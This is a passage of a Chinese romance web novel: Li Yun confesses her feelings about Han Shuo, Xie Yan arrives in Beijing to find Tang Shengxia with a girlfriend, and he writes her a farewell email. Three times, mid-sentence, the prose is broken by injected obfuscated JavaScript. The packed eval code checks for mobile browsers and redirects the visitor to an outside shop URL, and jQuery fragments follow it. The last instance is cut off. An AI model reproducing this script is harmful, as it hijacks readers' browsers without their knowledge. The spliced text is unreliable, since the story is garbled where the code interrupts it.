“我不知道。”李韵摇头，“刚开始他来缠着我问你的事情，我以为他很可能喜欢你，所以要了解你，但是自从我说了是袁圆欺负你后，他就开始追袁圆了，我还以为他是不是要报复你，利用袁圆更加变本加厉的欺负你。我还难过了很久，觉得有点被骗的感觉。直到袁圆因为怀孕被退学，他父母曾经来我家问我韩槊的行踪，我才知道了他的良苦用心。但是韩槊再也没来找过我，所以我也不知道，我甚至都不敢说我认识韩槊，因为等于毁了袁圆的人，就是我，如果不是我说了那些不该说的话，韩槊一定不会这么做的。”李韵自责的说，“但是，我也是在那个时候确定了，原来韩槊这么做，一切都是为了你。” 我大口大口的吸着可乐，躲避着李韵的眼神。因为她说了那些话，其实也等同于是为了我而说的。归根到底，毁了袁圆的人，还是我…… “你还记得为什么当初范雅珍举办生日聚会的时候我一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096350|195622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要你陪我去吗？”李韵转移了话题。 我看着她。 “是因为我喜欢韩槊。”我吃惊的看着她，她继续说，“我第一次遇见韩槊的时候，是和范雅珍去KTV，那个时候我并不知道袁圆和范雅珍是好朋友，只是单纯的以为范雅珍想和我做朋友，才邀请我的。其实后来我才发现，范雅珍邀请我去KTV都是在为后来通过我邀请你去参加生日聚会的铺垫。不过，我就是在那里第一次遇见韩槊的，我喜欢他略带伤感的表情，桀骜不驯的神态，还有他绅士的动作，我也不知道为什么就被他深深的吸引，他似乎总是能散发出来一种让人去保护他的欲望，他的身上也有那种灾难洗礼后的气息，跟后来的你，那么像……我跟你聊过吧，我说我喜欢上了一个男孩，不过，你肯定不记得了，因为你从来没在意过自己以外的事情，对不对？” 我尴尬的笑笑，的确，在遇见唐盛夏以前，我的眼里只有自己，从来没想过看看身边的人的生活，也从来没在意过他们的话题。 “所以当时范雅珍邀请我参加她的生日聚会，我一点都不知道她是为了整你，就硬拉你去了。当时看着你被他们欺负，我简直气疯了，幸亏有唐老师在，给了你台阶下，你就很快的走了。你走了以后，就没有人理我了，范雅珍在你在的时候还对我有说有笑，你走了以后，就爱答不理的，后来唐老师找了个借口，就带着我一起走了。他把我送到公交车站时，还特地问了你家地址。妍妍，其实打从第一次见到你的时候，我就已经有了某种觉悟，以你的优秀，你注定是这个世界的主角，而我，只会是主角身边的配角。我会为你做任何事情，你肯定不知道，生日聚会后的那个星期一我是做了多大的心理准备等着你责备我，可是你竟然当做什么事都没发生的样子。不过，我就是个笨蛋，笨到以为你不忍心责备我，不想难为我，所以才装作什么事情都没发生一如既往的跟我有说有笑……” “所以，对于后来知道韩槊喜欢你，我一点都不难过，反而很开心，因为你足够优秀，足够跟韩槊般配，不！某种程度上韩槊无法与你匹配，尽管那时我们不是好朋友，但是我还是默默的祝福你。” “谢谢……”我说。“不过，喜欢一个人就尽力去争取吧！别因为我放弃他，而且我以后不会回岚城的，你要追求你的幸福。” “嗯……所以你到最后也不会摘下自己的面具给我看吗？” “李韵，有些事情不是任何人都能跨过去的。”我真诚的说。 是我一直以来把自我保护的帷帐拉的太高，甚至连自己也拉不开攀不出，犹如一面恢弘的城墙，阻碍了我看到真实的世界，只能自以为是的揣测那些我并没有看到的事实，所以失去的，是那么多…… 走出肯德基的时候，已经是傍晚了，岚城的天空难得泛出了一点点蓝色，搭配着橙色的夕阳，让这个深灰色的城市有了那么一丝暖意…… 在不久后的一个月，我将告别岚城的盛夏，去见那个我牵念了两年的盛夏，那个一度在我最黑暗的日子里，神的恩赐。韩槊的作为我很感谢，这辈子也许都还不清吧！但是他的幸福，李韵能给，我，真的给不了…… “八月二十号，T76，下午四点半，北京西客站。盛夏，记得来接我哦~”拿到火车票时，我首先给唐盛夏发了短信。 “OK” 16. 第十六章 破灭 唐盛夏说过：我说过的话，你总是不以为然，这些都是经验之谈，你早晚会明白！ 当时，我依旧不以为然。 2006年8月25日，星期五，下午1：30，告别了爸妈，告别了四面环山的灰色岚城，我登上了东去的T76次火车，二十一个小时以后，我就能见到朝思暮想的唐盛夏了！ 这是我第一次出远门，而且还是一个人，我是费了好大的劲才说服爸妈同意我一个人去报到。大部分的行李都随车托运了，随身只带了一个包。 我一直幻想，再见到盛夏的时候他会不会有变化，额头上的那一道疤痕会不会淡去，他会不会认不出我？离开岚城之前我彻底把自己收拾了一下，长长的直发烫成了时下最流行的栗色“大波浪”，上火车前，我还挑选了一件黑色的连衣裙和黑色长靴，印象里，我最喜欢的还是一身黑色的撒旦样的盛夏。老妈说这样太成熟，看上去根本不像十八岁的少女，反而像二十多岁的社会青年。但是，要的就是这个效果，我要让盛夏看到，我已经不是当年的雏鸟了，我已经蜕变了青涩成为天鹅了。希望他不要再把我当做小孩子来看，不要还在重复当年的像妹妹一样的摸我的头发，盛夏，我长大了，我是不是足够与你相匹配了…… 可是，唐盛夏说过的话，总是在一步步的成为现实…… “期望越大，失望也就越大，但是很多时候，我们知道了这个规律，却始终反复印证着这句话。” 火车到达北京的时候，我惊讶于这里密集的人口，但是一如从前，我总能在人群中第一个发现他，可是，我发现的不仅是他，还有那个被他护在怀中的娇小身影…… 人群攒动，我透过车窗看到盛夏的手紧紧的护着那个娇小的身影，似乎还笑着说着什么，那个笑容，我再熟悉不过，那是盛夏曾经仅向我展露的笑容，温柔、小心、满是爱怜…… 为什么会这样？ 我呆坐在卧铺上，不想移动。在这二十一个小时里，我幻想了无数个唐盛夏出现在我面前的样子…… 会是我第一次在落河边见到的一身黑的衣服，笑着拎过我的包，对我说：“妍妍！这一天终于到了，你果然没有爽约。” 还是会在第一天站在讲台上明朗的样子，对我伸出手…… 还是我们唯一的一次约会，幼稚的穿着多啦A梦图案类似的T恤？ 都不是，站在我眼前的唐盛夏身上没有我熟悉的毁灭的气息，没有我第一次见到时那种堕落的气场，更没有强作明朗的样子。此时的唐盛夏，除了比两年前的头发略长，遮住了那道疤痕，没有一样让我熟悉，他的皮肤也不是曾经的惨白，而是微微的小麦色，比起曾经，成熟了……他把藏蓝色的西装搭在胳膊上，身上穿着白色的衬衫，因为炎热的天气领带微微松开，扣子被解开了两枚，隐约露出了胸膛，衬衫的袖子被卷起来在手肘处，这么正经的唐盛夏，身上没有一丝我熟悉的气息…… 他开朗了，是发自内心的…… 他身边娇小的女生，甚至只到我的下巴那么高，有一米六吗？ “谢妍，你还真是懒啊，就坐在车上等我接你？”唐盛夏笑着说。 谢妍？他从我们第一次相遇的时候就叫我“妍妍”的，为什么不这么叫了？是因为她吗？我仔细打量着还不到他肩膀高的女孩，齐齐的刘海，天生的浅黄色头发，看上去很柔软，白白的皮肤，眼睛很圆，是典型婴儿肥，她穿着带泡泡肩的浅蓝色公主裙，我不知道她有多大，但看上去就像一个还没发育好的小女孩。就是因为她，我从“妍妍”变成“谢妍”吗？ “谢妍，你漂亮了！也成熟了许多，真是女大十八变啊！个子又长了，有一米七五了吧？”唐盛夏称赞着，可是我在他的语气里只听到了礼貌，没有亲昵。 “她是？”我问。 “啊！这是专程要介绍给你认识的，赫颜。我女朋友，你未来的嫂子。”唐盛夏温柔的看着她说。 赫颜？所以，她是颜颜了？ “你好，很高兴认识你，我叫谢妍，唐盛夏的……”我看了他一眼，皮笑肉不笑的问：“我算是你的什么？学生？还是妹妹？” 唐盛夏愣了一下，然后说：“当然是妹妹啦！来，快走吧！行李在哪儿？” 离开火车站，坐在唐盛夏的车里，他递给我一个盒子，又送给我一部手机，他让我给我爸妈打电话报平安。两年不见唐盛夏真是变了很多，什么时候这么在意父母的感受了，以前他从来没提过什么孝敬父母之类的话，甚至他姥姥姥爷辛辛苦苦准备的饭菜，他都懒得做出评价…… 唐盛夏的车里，赫颜坐在副驾驶的位子上，我坐在后面，唐盛夏一路上一直想尽办法聊一些有趣儿的话题，但是我一句话也不想说，神奇的是那个赫颜也什么都不说，可能她也不高兴吧！管她呢！ 到了学校，唐盛夏为我报道的事跑来跑去，又是张罗着买被褥、暖瓶什么的必需品，又是帮我安排宿舍。而那个赫颜却是陪着我站在原地等他，她始终微笑的看着唐盛夏跑来跑去的身影，一句话也不说，眼神，温柔至极，真恶心！ 从报到、安顿宿舍，到配备电脑、照相机，什么的都是唐盛夏一手操办，甚至还让赫颜带我去国贸买衣服，事无巨细，甚至神经质的问我要不要办股东卡！我在意的不是这些。是他为什么始终温柔的叫她“颜颜”，我，却是“谢妍”！ 可是我想要的并不是他为我做的这些，而是能和他单独坐下来好好聊聊天，好好聊聊过去的两年里他的生活，可是无论走到哪里他都带着那个一声不吭的赫颜，甚至我有那么一种错觉，他为我忙东忙西，巴不得把能为我做的都做了以后，就要从我的世界消失了…… 盛夏总是不停的问我还有什么需求，而这些需求却只停留在物质上，一起吃饭的时候，他总是不停的聊着那些他以前从来不说的废话，是他变了，还是我没能赶上他变化的步伐？ 直到那天，他终于没带来那个闷壶一样的矮子赫颜来，我们才有了单独谈话的机会。可是，早知道他要跟我说的话是这些，我宁可推迟与他相见，朝思暮想两年的希望，就这样被他毁灭了…… “谢妍，我要离开北京了，我很高兴看到你真的遵守约定来了北京，你是个聪明的女孩，你知道接下来你该做什么，你考上的C大非常不错，以你的条件，以后一定会幸福的。”唐盛夏还是穿着笔挺的西装，盛夏的北京如此炎热，但他始终是清爽的样子，我们坐在西单的“季诺”里，他对我说了这番话…… “幸福？幸福是什么？考上C大吗？来到北京吗？我认定的幸福就是你，没有你我怎么可能幸福……”我隔着桌子拽着他的手，“盛夏，你不可以这样，你让我相信你，你说你能保护我，你还没有做到就要离开了吗？” “谢妍，还记得我跟你说过的话吗？不要依赖他人，你要自立。”唐盛夏难过的说。 “我不要……我为了遵守我们的约定，拼了命的学习才来到这里，为的就是能和你在一起，我知道你总把我当做小孩来看，但是你看到了，我已经长大了，盛夏，不要抛弃我，好不好……”我的眼泪抑制不住的掉下来。 神，你要收回你的恩惠了吗？ “妍妍，不要哭……”唐盛夏的眉毛蹙在一块，似乎我让他很伤脑筋。 “你终于叫我妍妍了……为什么有她在，你就只肯叫我谢妍，却叫她颜颜？”我紧紧的抓着盛夏的手，指甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096351|195622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深深的陷入了他的手掌里。“盛夏，16岁那年，你将我从地狱里拯救出来以后，我就喜欢上了你，我认定你是神赐予我的恩惠。可是16岁的我太小了，没有勇气说出我喜欢你，而你总是不能把我当做一个女人来看，可是现在我已经长大了，盛夏，我真的好喜欢你，你不要离开好吗？” 唐盛夏依旧蹙着眉，表情有点受伤的看着我，说：“我知道，但是，妍妍，你的人生才刚刚开始，还有很多人很多邂逅在等着你，我比你大十岁，不适合你。或许你现在并不清楚什么是喜欢，什么是爱……” “我知道！”我打断了他的话，“唐盛夏，我爱的是你，可以了吗？” “妍妍，你听我说。”唐盛夏继续说，“你对我，是喜欢，这种喜欢是基于对我的依赖，你还太小，分不清什么是喜欢，什么是爱，什么是依赖。所以当我觉察到的时候，我就告诉你了，不要依赖任何人。” “我太小了？”我不甘的问，“那个赫颜呢？她才是一副发育不良的样子吧！你怎么会喜欢上那种幼齿呢！” “我不允许你这么说她！”唐盛夏吼道，这是我第一次见他发火，不！是第一次见他这么生气，甚至额头的青筋都凸了出来，我条件反射的缩回紧紧抓着他的手。他的手紧紧的握成了拳头…… 只是因为一句话，他会这么生气？甚至他在办公室里看到刘老师猥亵我时，他都不及现在生气…… “对不起，妍妍。我不该对你发火……”唐盛夏控制住了自己的脾气，从口袋里拿出一盒烟，点上，“赫颜对我来说无可替代。” “这话挺耳熟。”我讽刺。 唐盛夏愣了一下，然后自嘲的笑了起来，从胸前的口袋里拿出一支钢笔，在餐巾纸上写了一个电子邮箱和一串密码，递给我：“回去看看吧！看完你就知道了，有些话我也说不出口，但是我的确欠你一个解释，妍妍，你还年轻，你才十八岁，别在我身上浪费太多时间，好吗？” “如果你已经决定不给我好的结局，干嘛还给我希望？”我放弃了，我承认自始至终都是我的一厢情愿，我一直沦陷在自己为自己编织的美好幻想里，唐盛夏，其实从来都没给过我希望。 “这个电子邮箱里，有我的过去，你看过以后，就知道一切了。”唐盛夏还是一如从前那样，抚摸着我的头发。 他的，过去…… 就是底细…… 原来是这样啊，从开始他就已经告诉我结局了…… “做人不能太坦白，知道了你底细的人，就是知道了你底线的人，也就是你该离开的时候。” 把“你”，替换成“我”，就是他给我的暗示，他坦白了他的底细，也就是他该离开的时候了…… “你要去哪里？”我问。 “妍妍，不要想着追寻我的脚步，你必须自己走自己的道路。”唐盛夏看着我说。 “我能拍张你的照片吗？”我从口袋里拿出手机。 “别被我的记忆束缚你的未来，好吗？” 我死死的看着那个我不再熟悉的唐盛夏，擦掉眼泪，狠狠的拿走桌子上的餐巾纸，转身离开。 “永远不要为任何人放弃你的自尊，如果连乞求都无法达到目的，就潇洒的转身离开。”又是你教的！ 回到宿舍，桌子上堆满了各种信件和礼物。 “谢妍，你今天又破纪录了哈！才开学一个礼拜，你就收到这么多情书。”同宿舍的楚楚说，“我们已经帮你拿快递，拿到手软了。” “不好意思啊！”我笑着应付，迅速打开电脑，登陆唐盛夏给的邮箱，去看里面究竟是什么。 可是，不管是什么，盛夏要离开了，我又是一个人了…… 17. 第一章 救赎 亲爱的妍妍： 当你看到这封邮件的时候，一定恨死我了吧！给你希望，让你拼了命的努力追随而来。你来了，我却要走了。 妍妍，原谅我。原谅我利用你的心意，给了你这样的结局。 其实，我一直都明白你的心意，而我，也正是利用了你的心意，让你能一生悬命的努力。但是，希望现在你能明白，你所有的努力并不是为了我，是为了你自己，所以以后的人生你也要同样努力争取你的幸福。人在很多时候都容易处于迷茫的阶段，很多事情总是看不清，因此浪费了很多时间在人生的死胡同里。等到察觉时，才会意识到自己浪费了很多时间，如果当时能意识到这个问题，会少走很多弯路，少绕很多圈子，至少这样节省的时间会是未来的资本。 妍妍，你还年轻，你只是一个孩子，你的人生才刚刚开始，你将会和更多的人相遇，相知。只有在更广阔的世界里有了更广远的视野，你才会明白自己真正想要什么。你遇到我的那个春天，你还太小，才十六岁。你知道的世界就岚城那么点儿，遇到的人也太少，所以，你不能简单的认为我是唯一。妍妍，原谅我用这么卑鄙的方法把你引入我所谓的“幸福”里。可是我希望你的未来能幸福，希望你能过的好，至少比我好。所以你一定不要怀疑这一点，以你的优秀能考上C大的时候，我就坚信这一点，你只是需要一个平台，只要这个平台足够大，足够华丽，同时这个平台也没人知道你的过去，就能是你的开始，你可以无所顾忌的展示你的才华，记得我曾经教给你的那些，你离幸福或许就不会太远。 妍妍，你一直对我说：我是神赐予你的恩惠，是神派来拯救你的天使……我愧不敢当，某种程度上来说，是你拯救了我，你才是神赐予我的恩惠。我的人生犯过很多错误，而且这些错误中有很多是不可原谅的。曾经我也从来没奢望过能被神原谅，总以伤害别人的方法寻求自己的慰藉。我一直以为我是被神抛弃的人，因为灵魂太肮脏，所以不幸总是跟着我。我也从未想过能进入天堂，既然早晚都是要去地狱，那不如去的更彻底一些。可是，当我意识到我错了的时候，很多事情都已经无法弥补了…… 妍妍，人的一生一定不能走错路，如果一旦走错了，想重新来过，几乎是不可能的。后悔这东西我不希望会在你身上发生…… 而在我遇见你的时候，也是我真正开始有意识的想弥补自己错误的时候，但是无从下手。路，一旦走错，只能继续错下去，根本没有回头的余地。我就在那么浑浑噩噩不知所措的时候遇见了你。我不知道你有没有好奇过我为什么要把自己认为的“幸福的途径”强加给你，甚至利用你对我的心意来引导你走这条路。但是，我还是那句话：你对我来说，真的是无可替代的！因为是你，我被救赎；因为是你，我开始觉得自己有机会接受洗礼；因为是你，我才知道自己还有点用处…… 或许在你看来，我只是个莫名其妙对你好的人，但是，你知道吗？我是怀着一种怎样的心情接近你的，在落河边的长椅上，在你身上，我几乎看到了曾经的自己：不计后果的做事，沉溺在自己的悲伤里无法自拔，甚至，还有那几乎看不到灵魂的瞳孔…… 那个时候虽然我不知道你身上发生了什么事，但是肯定你一定遇到了什么不可原谅的事。相处的那四个月里，我执着的想纠正你的世界观，很高兴的你只是个孩子，纠正起来不会太难。我所希望的是在这四个月里改变你，让你在以后的人生里少走那些不必要的弯路，有时候不得不承认，性格是能决定命运的。因为我自己已经饱尝那些多余的磨难，或许这么说你不能理解，很多书总在告诉人们，每走过的一段人生，每遭遇的磨难，都会成为未来的经验。相信我，那都是骗人的，有些人生阶段根本不需要走，有些磨难也根本不需要去经历，那些只是在拖延时间，最终的结果也必定是你回到出发的起点。 亲爱的妍妍，你身上所经历过的那些，也是人生轨迹中不该出现的磨难，但是你遇到了，所以我要尽可能的为你缩短其他的弯路。 为你，也是为我自己。 我在寻求救赎…… 那时，我是真的开始想得到救赎了…… 所以遇到你以后，我恨不得把自己所会的一切全部教给你，希望能尽快拯救你，但是，我几乎忘记了自己也是有问题的，我的世界观，恐怕也不是多么正确，可是，你对我的话深信不疑，现在想来，真怕会对你有不好的影响。因为我的过去经历了很多疼痛，某种程度上，我将这种心情转移在你身上，很多时候，我把你看做是曾经的我，我用我的世界观改变着你，但是我的极端，我的世末，都在潜移默化中影响着你。我从来都不擅长和人走的过分亲近，因为我从来不相信任何人，我深信维系人与人之间的关系不是什么志同道合、意趣相投，而正是心底最黑暗的一块。所以，我从来不相信在风平浪静的环境里，人与人会成为至交。反倒是因为经受了残酷的洗礼，在人最脆弱的时候趁虚而入的友谊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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妍妍，我很抱歉给了你错误的暗示，并且没有及时的去澄清它，而是让它盲目的激励着你奋斗到北京。但是，就算你恨我，我也不会后悔。妍妍，我跟你说过，女人往往都是对自己摸不透的男人感兴趣。我可以肯定的说，你一定也是这样，或许我隐藏的很好，你只是不了解我，不知道我的过去，所以才这么执着的追随，但是等你了解了真正的我，你一定不会再喜欢我了。我对你的那些帮助，某种程度上来说，只是因为从你身上看到了过去的我，呼吸道了相同的气息；只是希望自己能被神原谅，在以后的人生里能风平浪静的度过；只是为了自己曾经做过的那些错事赎罪…… 我和你一样，也是渴望活在阳光下的人。虽然曾经我抱着黑暗不放，并以此为傲，但是，路一旦走错了，很难回头。可是无论怎样，我还是想回头，至少不要再错下去了…… 妍妍，你明白吗？